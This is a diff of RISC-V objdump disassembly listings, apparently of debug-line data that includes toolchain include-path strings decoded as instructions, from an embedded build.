+    1e46:	0024                	addi	s1,sp,8
+    1e48:	0001                	nop
+    1e4a:	0402                	c.slli64	s0
+    1e4c:	0301                	addi	t1,t1,0
+    1e4e:	0900                	addi	s0,sp,144
+    1e50:	0000                	unimp
+    1e52:	0001                	nop
+    1e54:	0402                	c.slli64	s0
+    1e56:	09000307          	0x9000307
+    1e5a:	000a                	c.slli	zero,0x2
+    1e5c:	0001                	nop
+    1e5e:	0402                	c.slli64	s0
+    1e60:	0305                	addi	t1,t1,1
+    1e62:	0900                	addi	s0,sp,144
+    1e64:	000c                	0xc
+    1e66:	0001                	nop
+    1e68:	0402                	c.slli64	s0
+    1e6a:	0304                	addi	s1,sp,384
+    1e6c:	0900                	addi	s0,sp,144
+    1e6e:	0006                	c.slli	zero,0x1
+    1e70:	0001                	nop
+    1e72:	0402                	c.slli64	s0
+    1e74:	0304                	addi	s1,sp,384
+    1e76:	0900                	addi	s0,sp,144
+    1e78:	0000                	unimp
+    1e7a:	0001                	nop
+    1e7c:	0402                	c.slli64	s0
+    1e7e:	0304                	addi	s1,sp,384
+    1e80:	0900                	addi	s0,sp,144
+    1e82:	0000                	unimp
+    1e84:	0001                	nop
+    1e86:	0402                	c.slli64	s0
+    1e88:	0304                	addi	s1,sp,384
+    1e8a:	0900                	addi	s0,sp,144
+    1e8c:	0018                	0x18
+    1e8e:	0001                	nop
+    1e90:	0402                	c.slli64	s0
+    1e92:	0306                	slli	t1,t1,0x1
+    1e94:	0900                	addi	s0,sp,144
+    1e96:	0002                	c.slli64	zero
+    1e98:	0001                	nop
+    1e9a:	0402                	c.slli64	s0
+    1e9c:	0306                	slli	t1,t1,0x1
+    1e9e:	0900                	addi	s0,sp,144
+    1ea0:	0000                	unimp
+    1ea2:	0001                	nop
+    1ea4:	0402                	c.slli64	s0
+    1ea6:	0309                	addi	t1,t1,2
+    1ea8:	0900                	addi	s0,sp,144
+    1eaa:	0004                	0x4
+    1eac:	0501                	addi	a0,a0,0
+    1eae:	0065                	c.nop	25
+    1eb0:	0402                	c.slli64	s0
+    1eb2:	030a                	slli	t1,t1,0x2
+    1eb4:	0900                	addi	s0,sp,144
+    1eb6:	0004                	0x4
+    1eb8:	0501                	addi	a0,a0,0
+    1eba:	04020003          	lb	zero,64(tp) # 1040 <__stack_size+0x840>
+    1ebe:	030a                	slli	t1,t1,0x2
+    1ec0:	0901                	addi	s2,s2,0
+    1ec2:	0000                	unimp
+    1ec4:	0501                	addi	a0,a0,0
+    1ec6:	0002                	c.slli64	zero
+    1ec8:	0402                	c.slli64	s0
+    1eca:	030a                	slli	t1,t1,0x2
+    1ecc:	0902                	c.slli64	s2
+    1ece:	0004                	0x4
+    1ed0:	0501                	addi	a0,a0,0
+    1ed2:	09110303          	lb	t1,145(sp)
+    1ed6:	0002                	c.slli64	zero
+    1ed8:	0301                	addi	t1,t1,0
+    1eda:	0901                	addi	s2,s2,0
+    1edc:	0000                	unimp
+    1ede:	0301                	addi	t1,t1,0
+    1ee0:	0902                	c.slli64	s2
+    1ee2:	0008                	0x8
+    1ee4:	0301                	addi	t1,t1,0
+    1ee6:	0901                	addi	s2,s2,0
     1ee8:	0000                	unimp
     1eea:	0501                	addi	a0,a0,0
-    1eec:	0015                	c.nop	5
-    1eee:	0402                	c.slli64	s0
-    1ef0:	0301                	addi	t1,t1,0
-    1ef2:	0900                	addi	s0,sp,144
-    1ef4:	0006                	c.slli	zero,0x1
-    1ef6:	0501                	addi	a0,a0,0
-    1ef8:	0604                	addi	s1,sp,768
-    1efa:	08090103          	lb	sp,128(s2)
-    1efe:	0100                	addi	s0,sp,128
-    1f00:	0705                	addi	a4,a4,1
-    1f02:	0306                	slli	t1,t1,0x1
-    1f04:	0900                	addi	s0,sp,144
-    1f06:	0000                	unimp
-    1f08:	0501                	addi	a0,a0,0
-    1f0a:	0015                	c.nop	5
-    1f0c:	0402                	c.slli64	s0
-    1f0e:	0301                	addi	t1,t1,0
-    1f10:	0902                	c.slli64	s2
-    1f12:	0004                	0x4
-    1f14:	0501                	addi	a0,a0,0
-    1f16:	0604                	addi	s1,sp,768
-    1f18:	08090103          	lb	sp,128(s2)
-    1f1c:	0100                	addi	s0,sp,128
-    1f1e:	0905                	addi	s2,s2,1
-    1f20:	00090003          	lb	zero,0(s2)
-    1f24:	0100                	addi	s0,sp,128
-    1f26:	0d05                	addi	s10,s10,1
-    1f28:	0306                	slli	t1,t1,0x1
-    1f2a:	0900                	addi	s0,sp,144
-    1f2c:	0000                	unimp
-    1f2e:	0501                	addi	a0,a0,0
-    1f30:	0012                	c.slli	zero,0x4
-    1f32:	0402                	c.slli64	s0
-    1f34:	0601                	addi	a2,a2,0
-    1f36:	08090003          	lb	zero,128(s2)
-    1f3a:	0100                	addi	s0,sp,128
-    1f3c:	1405                	addi	s0,s0,-31
-    1f3e:	0200                	addi	s0,sp,256
-    1f40:	0104                	addi	s1,sp,128
-    1f42:	0306                	slli	t1,t1,0x1
-    1f44:	0900                	addi	s0,sp,144
-    1f46:	0000                	unimp
-    1f48:	0501                	addi	a0,a0,0
-    1f4a:	0004                	0x4
-    1f4c:	0402                	c.slli64	s0
-    1f4e:	0301                	addi	t1,t1,0
-    1f50:	0900                	addi	s0,sp,144
-    1f52:	0006                	c.slli	zero,0x1
-    1f54:	0601                	addi	a2,a2,0
-    1f56:	06090103          	lb	sp,96(s2)
-    1f5a:	0100                	addi	s0,sp,128
-    1f5c:	10090103          	lb	sp,256(s2)
-    1f60:	0100                	addi	s0,sp,128
-    1f62:	10090103          	lb	sp,256(s2)
-    1f66:	0100                	addi	s0,sp,128
-    1f68:	0d05                	addi	s10,s10,1
-    1f6a:	0306                	slli	t1,t1,0x1
-    1f6c:	0900                	addi	s0,sp,144
-    1f6e:	0000                	unimp
-    1f70:	0501                	addi	a0,a0,0
-    1f72:	031c                	addi	a5,sp,384
-    1f74:	0900                	addi	s0,sp,144
-    1f76:	0002                	c.slli64	zero
-    1f78:	0501                	addi	a0,a0,0
-    1f7a:	030d                	addi	t1,t1,3
-    1f7c:	0900                	addi	s0,sp,144
-    1f7e:	0002                	c.slli64	zero
-    1f80:	0501                	addi	a0,a0,0
-    1f82:	031c                	addi	a5,sp,384
-    1f84:	0900                	addi	s0,sp,144
-    1f86:	0004                	0x4
-    1f88:	0501                	addi	a0,a0,0
-    1f8a:	0304                	addi	s1,sp,384
-    1f8c:	0900                	addi	s0,sp,144
-    1f8e:	0004                	0x4
-    1f90:	0601                	addi	a2,a2,0
-    1f92:	0e090103          	lb	sp,224(s2)
-    1f96:	0100                	addi	s0,sp,128
-    1f98:	10090103          	lb	sp,256(s2)
+    1eec:	0618                	addi	a4,sp,768
+    1eee:	00090003          	lb	zero,0(s2)
+    1ef2:	0100                	addi	s0,sp,128
+    1ef4:	0c05                	addi	s8,s8,1
+    1ef6:	04097f03          	0x4097f03
+    1efa:	0100                	addi	s0,sp,128
+    1efc:	0605                	addi	a2,a2,1
+    1efe:	02090103          	lb	sp,32(s2)
+    1f02:	0100                	addi	s0,sp,128
+    1f04:	0405                	addi	s0,s0,1
+    1f06:	0306                	slli	t1,t1,0x1
+    1f08:	0901                	addi	s2,s2,0
+    1f0a:	0004                	0x4
+    1f0c:	0501                	addi	a0,a0,0
+    1f0e:	060e                	slli	a2,a2,0x3
+    1f10:	00090003          	lb	zero,0(s2)
+    1f14:	0100                	addi	s0,sp,128
+    1f16:	0305                	addi	t1,t1,1
+    1f18:	0306                	slli	t1,t1,0x1
+    1f1a:	0901                	addi	s2,s2,0
+    1f1c:	0006                	c.slli	zero,0x1
+    1f1e:	0301                	addi	t1,t1,0
+    1f20:	0901                	addi	s2,s2,0
+    1f22:	0008                	0x8
+    1f24:	0501                	addi	a0,a0,0
+    1f26:	0306                	slli	t1,t1,0x1
+    1f28:	0900                	addi	s0,sp,144
+    1f2a:	0000                	unimp
+    1f2c:	0301                	addi	t1,t1,0
+    1f2e:	0900                	addi	s0,sp,144
+    1f30:	0000                	unimp
+    1f32:	0301                	addi	t1,t1,0
+    1f34:	0900                	addi	s0,sp,144
+    1f36:	0010                	0x10
+    1f38:	0501                	addi	a0,a0,0
+    1f3a:	0605                	addi	a2,a2,1
+    1f3c:	00090003          	lb	zero,0(s2)
+    1f40:	0100                	addi	s0,sp,128
+    1f42:	0405                	addi	s0,s0,1
+    1f44:	0306                	slli	t1,t1,0x1
+    1f46:	0901                	addi	s2,s2,0
+    1f48:	0002                	c.slli64	zero
+    1f4a:	0501                	addi	a0,a0,0
+    1f4c:	0609                	addi	a2,a2,2
+    1f4e:	00090003          	lb	zero,0(s2)
+    1f52:	0100                	addi	s0,sp,128
+    1f54:	0405                	addi	s0,s0,1
+    1f56:	0306                	slli	t1,t1,0x1
+    1f58:	0901                	addi	s2,s2,0
+    1f5a:	0008                	0x8
+    1f5c:	0501                	addi	a0,a0,0
+    1f5e:	0606                	slli	a2,a2,0x1
+    1f60:	00090003          	lb	zero,0(s2)
+    1f64:	0100                	addi	s0,sp,128
+    1f66:	0505                	addi	a0,a0,1
+    1f68:	0306                	slli	t1,t1,0x1
+    1f6a:	0901                	addi	s2,s2,0
+    1f6c:	0004                	0x4
+    1f6e:	0301                	addi	t1,t1,0
+    1f70:	0901                	addi	s2,s2,0
+    1f72:	0000                	unimp
+    1f74:	0301                	addi	t1,t1,0
+    1f76:	0901                	addi	s2,s2,0
+    1f78:	0008                	0x8
+    1f7a:	0501                	addi	a0,a0,0
+    1f7c:	01030607          	0x1030607
+    1f80:	0009                	c.nop	2
+    1f82:	0100                	addi	s0,sp,128
+    1f84:	0d05                	addi	s10,s10,1
+    1f86:	02097f03          	0x2097f03
+    1f8a:	0100                	addi	s0,sp,128
+    1f8c:	0505                	addi	a0,a0,1
+    1f8e:	0306                	slli	t1,t1,0x1
+    1f90:	0901                	addi	s2,s2,0
+    1f92:	0004                	0x4
+    1f94:	0501                	addi	a0,a0,0
+    1f96:	00030607          	0x30607
+    1f9a:	0009                	c.nop	2
     1f9c:	0100                	addi	s0,sp,128
-    1f9e:	0900c603          	lbu	a2,144(ra)
-    1fa2:	0000                	unimp
-    1fa4:	0501                	addi	a0,a0,0
-    1fa6:	00030607          	0x30607
-    1faa:	0009                	c.nop	2
-    1fac:	0100                	addi	s0,sp,128
-    1fae:	2c05                	jal	21de <__stack_size+0x19de>
-    1fb0:	0200                	addi	s0,sp,256
-    1fb2:	0304                	addi	s1,sp,384
-    1fb4:	0306                	slli	t1,t1,0x1
-    1fb6:	7fb5                	lui	t6,0xfffed
-    1fb8:	0609                	addi	a2,a2,2
-    1fba:	0100                	addi	s0,sp,128
-    1fbc:	3805                	jal	17ec <__stack_size+0xfec>
-    1fbe:	0200                	addi	s0,sp,256
-    1fc0:	0304                	addi	s1,sp,384
+    1f9e:	0605                	addi	a2,a2,1
+    1fa0:	0306                	slli	t1,t1,0x1
+    1fa2:	0901                	addi	s2,s2,0
+    1fa4:	0004                	0x4
+    1fa6:	0501                	addi	a0,a0,0
+    1fa8:	0632                	slli	a2,a2,0xc
+    1faa:	00090003          	lb	zero,0(s2)
+    1fae:	0100                	addi	s0,sp,128
+    1fb0:	3105                	jal	1bd0 <__stack_size+0x13d0>
+    1fb2:	04090003          	lb	zero,64(s2)
+    1fb6:	0100                	addi	s0,sp,128
+    1fb8:	0605                	addi	a2,a2,1
+    1fba:	04090003          	lb	zero,64(s2)
+    1fbe:	0100                	addi	s0,sp,128
+    1fc0:	0305                	addi	t1,t1,1
     1fc2:	0306                	slli	t1,t1,0x1
-    1fc4:	0900                	addi	s0,sp,144
-    1fc6:	0000                	unimp
+    1fc4:	000a0907          	0xa0907
     1fc8:	0501                	addi	a0,a0,0
-    1fca:	0044                	addi	s1,sp,4
-    1fcc:	0402                	c.slli64	s0
-    1fce:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1fd2:	0004                	0x4
-    1fd4:	0501                	addi	a0,a0,0
-    1fd6:	0038                	addi	a4,sp,8
-    1fd8:	0402                	c.slli64	s0
-    1fda:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1fde:	0002                	c.slli64	zero
-    1fe0:	0501                	addi	a0,a0,0
-    1fe2:	04020027          	0x4020027
-    1fe6:	00030603          	lb	a2,0(t1)
-    1fea:	0409                	addi	s0,s0,2
-    1fec:	0100                	addi	s0,sp,128
-    1fee:	0a05                	addi	s4,s4,1
-    1ff0:	0200                	addi	s0,sp,256
-    1ff2:	0104                	addi	s1,sp,128
-    1ff4:	02090703          	lb	a4,32(s2)
-    1ff8:	0100                	addi	s0,sp,128
-    1ffa:	1505                	addi	a0,a0,-31
-    1ffc:	0200                	addi	s0,sp,256
-    1ffe:	0104                	addi	s1,sp,128
-    2000:	0306                	slli	t1,t1,0x1
-    2002:	0900                	addi	s0,sp,144
-    2004:	0000                	unimp
-    2006:	0501                	addi	a0,a0,0
-    2008:	0604                	addi	s1,sp,768
-    200a:	08090103          	lb	sp,128(s2)
-    200e:	0100                	addi	s0,sp,128
-    2010:	0c05                	addi	s8,s8,1
-    2012:	0306                	slli	t1,t1,0x1
-    2014:	0901                	addi	s2,s2,0
-    2016:	0000                	unimp
-    2018:	0501                	addi	a0,a0,0
-    201a:	097f0307          	0x97f0307
-    201e:	0002                	c.slli64	zero
-    2020:	0501                	addi	a0,a0,0
-    2022:	0604                	addi	s1,sp,768
-    2024:	04090103          	lb	sp,64(s2)
-    2028:	0100                	addi	s0,sp,128
-    202a:	0c05                	addi	s8,s8,1
-    202c:	0306                	slli	t1,t1,0x1
-    202e:	0900                	addi	s0,sp,144
-    2030:	0000                	unimp
-    2032:	0501                	addi	a0,a0,0
-    2034:	030a                	slli	t1,t1,0x2
-    2036:	0900                	addi	s0,sp,144
-    2038:	0004                	0x4
-    203a:	0501                	addi	a0,a0,0
-    203c:	09000307          	0x9000307
-    2040:	0002                	c.slli64	zero
-    2042:	0501                	addi	a0,a0,0
-    2044:	0605                	addi	a2,a2,1
-    2046:	04090103          	lb	sp,64(s2)
-    204a:	0100                	addi	s0,sp,128
-    204c:	0605                	addi	a2,a2,1
-    204e:	0306                	slli	t1,t1,0x1
-    2050:	0900                	addi	s0,sp,144
-    2052:	0000                	unimp
-    2054:	0501                	addi	a0,a0,0
-    2056:	0605                	addi	a2,a2,1
-    2058:	04090103          	lb	sp,64(s2)
-    205c:	0100                	addi	s0,sp,128
-    205e:	0405                	addi	s0,s0,1
-    2060:	00093103          	0x93103
-    2064:	0100                	addi	s0,sp,128
-    2066:	0a05                	addi	s4,s4,1
-    2068:	0200                	addi	s0,sp,256
-    206a:	0104                	addi	s1,sp,128
-    206c:	0c095203          	lhu	tp,192(s2)
-    2070:	0100                	addi	s0,sp,128
-    2072:	1505                	addi	a0,a0,-31
-    2074:	0200                	addi	s0,sp,256
-    2076:	0104                	addi	s1,sp,128
-    2078:	0306                	slli	t1,t1,0x1
-    207a:	0900                	addi	s0,sp,144
-    207c:	0000                	unimp
-    207e:	0501                	addi	a0,a0,0
-    2080:	0604                	addi	s1,sp,768
-    2082:	08090103          	lb	sp,128(s2)
-    2086:	0100                	addi	s0,sp,128
-    2088:	0705                	addi	a4,a4,1
-    208a:	0306                	slli	t1,t1,0x1
-    208c:	0900                	addi	s0,sp,144
-    208e:	0000                	unimp
-    2090:	0501                	addi	a0,a0,0
-    2092:	0604                	addi	s1,sp,768
-    2094:	04090103          	lb	sp,64(s2)
-    2098:	0100                	addi	s0,sp,128
-    209a:	0905                	addi	s2,s2,1
-    209c:	0306                	slli	t1,t1,0x1
-    209e:	0900                	addi	s0,sp,144
-    20a0:	0000                	unimp
-    20a2:	0501                	addi	a0,a0,0
-    20a4:	09000307          	0x9000307
-    20a8:	0002                	c.slli64	zero
-    20aa:	0501                	addi	a0,a0,0
-    20ac:	0605                	addi	a2,a2,1
-    20ae:	04090103          	lb	sp,64(s2)
-    20b2:	0100                	addi	s0,sp,128
-    20b4:	0605                	addi	a2,a2,1
-    20b6:	0306                	slli	t1,t1,0x1
-    20b8:	0900                	addi	s0,sp,144
-    20ba:	0000                	unimp
-    20bc:	0501                	addi	a0,a0,0
-    20be:	0605                	addi	a2,a2,1
-    20c0:	04090103          	lb	sp,64(s2)
-    20c4:	0100                	addi	s0,sp,128
-    20c6:	0405                	addi	s0,s0,1
-    20c8:	0306                	slli	t1,t1,0x1
-    20ca:	092a                	slli	s2,s2,0xa
-    20cc:	000a                	c.slli	zero,0x2
-    20ce:	0501                	addi	a0,a0,0
-    20d0:	000a                	c.slli	zero,0x2
-    20d2:	0402                	c.slli64	s0
-    20d4:	0601                	addi	a2,a2,0
-    20d6:	08095903          	lhu	s2,128(s2)
-    20da:	0100                	addi	s0,sp,128
-    20dc:	1505                	addi	a0,a0,-31
-    20de:	0200                	addi	s0,sp,256
-    20e0:	0104                	addi	s1,sp,128
-    20e2:	0306                	slli	t1,t1,0x1
-    20e4:	0900                	addi	s0,sp,144
-    20e6:	0000                	unimp
-    20e8:	0501                	addi	a0,a0,0
-    20ea:	0604                	addi	s1,sp,768
-    20ec:	08090103          	lb	sp,128(s2)
-    20f0:	0100                	addi	s0,sp,128
-    20f2:	0905                	addi	s2,s2,1
-    20f4:	0306                	slli	t1,t1,0x1
-    20f6:	0901                	addi	s2,s2,0
-    20f8:	0000                	unimp
-    20fa:	0501                	addi	a0,a0,0
-    20fc:	097f0307          	0x97f0307
-    2100:	0004                	0x4
-    2102:	0501                	addi	a0,a0,0
-    2104:	0604                	addi	s1,sp,768
-    2106:	04090103          	lb	sp,64(s2)
-    210a:	0100                	addi	s0,sp,128
-    210c:	0705                	addi	a4,a4,1
-    210e:	0306                	slli	t1,t1,0x1
-    2110:	0900                	addi	s0,sp,144
-    2112:	0000                	unimp
-    2114:	0501                	addi	a0,a0,0
-    2116:	0021                	c.nop	8
-    2118:	0402                	c.slli64	s0
-    211a:	0301                	addi	t1,t1,0
-    211c:	0900                	addi	s0,sp,144
-    211e:	0006                	c.slli	zero,0x1
-    2120:	0501                	addi	a0,a0,0
-    2122:	001f 0402 0301      	0x3010402001f
-    2128:	0900                	addi	s0,sp,144
-    212a:	0002                	c.slli64	zero
-    212c:	0501                	addi	a0,a0,0
-    212e:	0011                	c.nop	4
-    2130:	0402                	c.slli64	s0
-    2132:	0301                	addi	t1,t1,0
-    2134:	0900                	addi	s0,sp,144
-    2136:	0008                	0x8
-    2138:	0501                	addi	a0,a0,0
-    213a:	000e                	c.slli	zero,0x3
-    213c:	0402                	c.slli64	s0
-    213e:	0301                	addi	t1,t1,0
-    2140:	0900                	addi	s0,sp,144
-    2142:	0006                	c.slli	zero,0x1
-    2144:	0501                	addi	a0,a0,0
-    2146:	0605                	addi	a2,a2,1
-    2148:	04090103          	lb	sp,64(s2)
-    214c:	0100                	addi	s0,sp,128
-    214e:	0605                	addi	a2,a2,1
-    2150:	0306                	slli	t1,t1,0x1
-    2152:	0900                	addi	s0,sp,144
-    2154:	0000                	unimp
-    2156:	0501                	addi	a0,a0,0
-    2158:	0605                	addi	a2,a2,1
-    215a:	0a090103          	lb	sp,160(s2)
-    215e:	0100                	addi	s0,sp,128
-    2160:	1e05                	addi	t3,t3,-31
-    2162:	0306                	slli	t1,t1,0x1
-    2164:	0900                	addi	s0,sp,144
-    2166:	0000                	unimp
-    2168:	0501                	addi	a0,a0,0
-    216a:	0305                	addi	t1,t1,1
-    216c:	090c                	addi	a1,sp,144
-    216e:	0004                	0x4
-    2170:	0601                	addi	a2,a2,0
-    2172:	08090103          	lb	sp,128(s2)
-    2176:	0100                	addi	s0,sp,128
-    2178:	10090103          	lb	sp,256(s2)
-    217c:	0100                	addi	s0,sp,128
-    217e:	10090103          	lb	sp,256(s2)
-    2182:	0100                	addi	s0,sp,128
-    2184:	10090103          	lb	sp,256(s2)
-    2188:	0100                	addi	s0,sp,128
-    218a:	0705                	addi	a4,a4,1
-    218c:	0306                	slli	t1,t1,0x1
-    218e:	0900                	addi	s0,sp,144
-    2190:	0000                	unimp
-    2192:	0501                	addi	a0,a0,0
-    2194:	0306                	slli	t1,t1,0x1
-    2196:	0900                	addi	s0,sp,144
-    2198:	0006                	c.slli	zero,0x1
-    219a:	0501                	addi	a0,a0,0
-    219c:	000a                	c.slli	zero,0x2
-    219e:	0402                	c.slli64	s0
-    21a0:	0601                	addi	a2,a2,0
-    21a2:	04097803          	0x4097803
-    21a6:	0100                	addi	s0,sp,128
-    21a8:	1505                	addi	a0,a0,-31
-    21aa:	0200                	addi	s0,sp,256
-    21ac:	0104                	addi	s1,sp,128
-    21ae:	0306                	slli	t1,t1,0x1
-    21b0:	0900                	addi	s0,sp,144
+    1fca:	0605                	addi	a2,a2,1
+    1fcc:	00090003          	lb	zero,0(s2)
+    1fd0:	0100                	addi	s0,sp,128
+    1fd2:	0405                	addi	s0,s0,1
+    1fd4:	0306                	slli	t1,t1,0x1
+    1fd6:	0901                	addi	s2,s2,0
+    1fd8:	0004                	0x4
+    1fda:	0501                	addi	a0,a0,0
+    1fdc:	0311                	addi	t1,t1,4
+    1fde:	0900                	addi	s0,sp,144
+    1fe0:	0006                	c.slli	zero,0x1
+    1fe2:	0501                	addi	a0,a0,0
+    1fe4:	0306                	slli	t1,t1,0x1
+    1fe6:	0002097b          	0x2097b
+    1fea:	0901                	addi	s2,s2,0
+    1fec:	000a                	c.slli	zero,0x2
+    1fee:	0100                	addi	s0,sp,128
+    1ff0:	1b01                	addi	s6,s6,-32
+    1ff2:	03000007          	0x3000007
+    1ff6:	6300                	flw	fs0,0(a4)
+    1ff8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
+    1ffc:	fb01                	bnez	a4,1f0c <__stack_size+0x170c>
+    1ffe:	0d0e                	slli	s10,s10,0x3
+    2000:	0100                	addi	s0,sp,128
+    2002:	0101                	addi	sp,sp,0
+    2004:	0001                	nop
+    2006:	0000                	unimp
+    2008:	0001                	nop
+    200a:	0100                	addi	s0,sp,128
+    200c:	2e2e                	fld	ft8,200(sp)
+    200e:	7073622f          	0x7073622f
+    2012:	3033582f          	0x3033582f
+    2016:	2f30                	fld	fa2,88(a4)
+    2018:	656e                	flw	fa0,216(sp)
+    201a:	62696c77          	0x62696c77
+    201e:	2f00                	fld	fs0,24(a4)
+    2020:	6f68                	flw	fa0,92(a4)
+    2022:	656d                	lui	a0,0x1b
+    2024:	7369722f          	0x7369722f
+    2028:	742f7663          	bgeu	t5,sp,2774 <__stack_size+0x1f74>
+    202c:	736c6f6f          	jal	t5,c8762 <__stack_size+0xc7f62>
+    2030:	7369722f          	0x7369722f
+    2034:	672d7663          	bgeu	s10,s2,26a0 <__stack_size+0x1ea0>
+    2038:	756e                	flw	fa0,248(sp)
+    203a:	742d                	lui	s0,0xfffeb
+    203c:	636c6f6f          	jal	t5,c8672 <__stack_size+0xc7e72>
+    2040:	6168                	flw	fa0,68(a0)
+    2042:	6e69                	lui	t3,0x1a
+    2044:	682d                	lui	a6,0xb
+    2046:	7865                	lui	a6,0xffff9
+    2048:	6966                	flw	fs2,88(sp)
+    204a:	6576                	flw	fa0,92(sp)
+    204c:	62696c2f          	0x62696c2f
+    2050:	6363672f          	0x6363672f
+    2054:	7369722f          	0x7369722f
+    2058:	34367663          	bgeu	a2,gp,23a4 <__stack_size+0x1ba4>
+    205c:	752d                	lui	a0,0xfffeb
+    205e:	6b6e                	flw	fs6,216(sp)
+    2060:	6f6e                	flw	ft10,216(sp)
+    2062:	652d6e77          	0x652d6e77
+    2066:	666c                	flw	fa1,76(a2)
+    2068:	2e30312f          	0x2e30312f
+    206c:	2e31                	jal	2388 <__stack_size+0x1b88>
+    206e:	2f30                	fld	fa2,88(a4)
+    2070:	6e69                	lui	t3,0x1a
+    2072:	64756c63          	bltu	a0,t2,26ca <__stack_size+0x1eca>
+    2076:	0065                	c.nop	25
+    2078:	6d6f682f          	0x6d6f682f
+    207c:	2f65                	jal	2834 <__stack_size+0x2034>
+    207e:	6972                	flw	fs2,28(sp)
+    2080:	2f766373          	csrrsi	t1,0x2f7,12
+    2084:	6f74                	flw	fa3,92(a4)
+    2086:	2f736c6f          	jal	s8,38b7c <__stack_size+0x3837c>
+    208a:	6972                	flw	fs2,28(sp)
+    208c:	2d766373          	csrrsi	t1,0x2d7,12
+    2090:	2d756e67          	0x2d756e67
+    2094:	6f74                	flw	fa3,92(a4)
+    2096:	68636c6f          	jal	s8,3871c <__stack_size+0x37f1c>
+    209a:	6961                	lui	s2,0x18
+    209c:	2d6e                	fld	fs10,216(sp)
+    209e:	6568                	flw	fa0,76(a0)
+    20a0:	6678                	flw	fa4,76(a2)
+    20a2:	7669                	lui	a2,0xffffa
+    20a4:	2f65                	jal	285c <__stack_size+0x205c>
+    20a6:	6972                	flw	fs2,28(sp)
+    20a8:	36766373          	csrrsi	t1,0x367,12
+    20ac:	2d34                	fld	fa3,88(a0)
+    20ae:	6e75                	lui	t3,0x1d
+    20b0:	776f6e6b          	0x776f6e6b
+    20b4:	2d6e                	fld	fs10,216(sp)
+    20b6:	6c65                	lui	s8,0x19
+    20b8:	2f66                	fld	ft10,88(sp)
+    20ba:	6e69                	lui	t3,0x1a
+    20bc:	64756c63          	bltu	a0,t2,2714 <__stack_size+0x1f14>
+    20c0:	2f65                	jal	2878 <__stack_size+0x2078>
+    20c2:	616d                	addi	sp,sp,240
+    20c4:	6e696863          	bltu	s2,t1,27b4 <__stack_size+0x1fb4>
+    20c8:	0065                	c.nop	25
+    20ca:	6d6f682f          	0x6d6f682f
+    20ce:	2f65                	jal	2886 <__stack_size+0x2086>
+    20d0:	6972                	flw	fs2,28(sp)
+    20d2:	2f766373          	csrrsi	t1,0x2f7,12
+    20d6:	6f74                	flw	fa3,92(a4)
+    20d8:	2f736c6f          	jal	s8,38bce <__stack_size+0x383ce>
+    20dc:	6972                	flw	fs2,28(sp)
+    20de:	2d766373          	csrrsi	t1,0x2d7,12
+    20e2:	2d756e67          	0x2d756e67
+    20e6:	6f74                	flw	fa3,92(a4)
+    20e8:	68636c6f          	jal	s8,3876e <__stack_size+0x37f6e>
+    20ec:	6961                	lui	s2,0x18
+    20ee:	2d6e                	fld	fs10,216(sp)
+    20f0:	6568                	flw	fa0,76(a0)
+    20f2:	6678                	flw	fa4,76(a2)
+    20f4:	7669                	lui	a2,0xffffa
+    20f6:	2f65                	jal	28ae <__stack_size+0x20ae>
+    20f8:	6972                	flw	fs2,28(sp)
+    20fa:	36766373          	csrrsi	t1,0x367,12
+    20fe:	2d34                	fld	fa3,88(a0)
+    2100:	6e75                	lui	t3,0x1d
+    2102:	776f6e6b          	0x776f6e6b
+    2106:	2d6e                	fld	fs10,216(sp)
+    2108:	6c65                	lui	s8,0x19
+    210a:	2f66                	fld	ft10,88(sp)
+    210c:	6e69                	lui	t3,0x1a
+    210e:	64756c63          	bltu	a0,t2,2766 <__stack_size+0x1f66>
+    2112:	2f65                	jal	28ca <__stack_size+0x20ca>
+    2114:	00737973          	csrrci	s2,0x7,6
+    2118:	6d6f682f          	0x6d6f682f
+    211c:	2f65                	jal	28d4 <__stack_size+0x20d4>
+    211e:	6972                	flw	fs2,28(sp)
+    2120:	2f766373          	csrrsi	t1,0x2f7,12
+    2124:	6f74                	flw	fa3,92(a4)
+    2126:	2f736c6f          	jal	s8,38c1c <__stack_size+0x3841c>
+    212a:	6972                	flw	fs2,28(sp)
+    212c:	2d766373          	csrrsi	t1,0x2d7,12
+    2130:	2d756e67          	0x2d756e67
+    2134:	6f74                	flw	fa3,92(a4)
+    2136:	68636c6f          	jal	s8,387bc <__stack_size+0x37fbc>
+    213a:	6961                	lui	s2,0x18
+    213c:	2d6e                	fld	fs10,216(sp)
+    213e:	6568                	flw	fa0,76(a0)
+    2140:	6678                	flw	fa4,76(a2)
+    2142:	7669                	lui	a2,0xffffa
+    2144:	2f65                	jal	28fc <__stack_size+0x20fc>
+    2146:	6972                	flw	fs2,28(sp)
+    2148:	36766373          	csrrsi	t1,0x367,12
+    214c:	2d34                	fld	fa3,88(a0)
+    214e:	6e75                	lui	t3,0x1d
+    2150:	776f6e6b          	0x776f6e6b
+    2154:	2d6e                	fld	fs10,216(sp)
+    2156:	6c65                	lui	s8,0x19
+    2158:	2f66                	fld	ft10,88(sp)
+    215a:	6e69                	lui	t3,0x1a
+    215c:	64756c63          	bltu	a0,t2,27b4 <__stack_size+0x1fb4>
+    2160:	0065                	c.nop	25
+    2162:	2e2e                	fld	ft8,200(sp)
+    2164:	7073622f          	0x7073622f
+    2168:	3033582f          	0x3033582f
+    216c:	0030                	addi	a2,sp,8
+    216e:	6e00                	flw	fs0,24(a2)
+    2170:	7765                	lui	a4,0xffff9
+    2172:	696c                	flw	fa1,84(a0)
+    2174:	2e62                	fld	ft8,24(sp)
+    2176:	00010063          	beqz	sp,2176 <__stack_size+0x1976>
+    217a:	7300                	flw	fs0,32(a4)
+    217c:	6474                	flw	fa3,76(s0)
+    217e:	6564                	flw	fs1,76(a0)
+    2180:	2e66                	fld	ft8,88(sp)
+    2182:	0068                	addi	a0,sp,12
+    2184:	0002                	c.slli64	zero
+    2186:	5f00                	lw	s0,56(a4)
+    2188:	6564                	flw	fs1,76(a0)
+    218a:	6166                	flw	ft2,88(sp)
+    218c:	6c75                	lui	s8,0x1d
+    218e:	5f74                	lw	a3,124(a4)
+    2190:	7974                	flw	fa3,116(a0)
+    2192:	6570                	flw	fa2,76(a0)
+    2194:	00682e73          	csrrs	t3,0x6,a6
+    2198:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+    219c:	7974                	flw	fa3,116(a0)
+    219e:	6570                	flw	fa2,76(a0)
+    21a0:	00682e73          	csrrs	t3,0x6,a6
+    21a4:	0004                	0x4
+    21a6:	5f00                	lw	s0,56(a4)
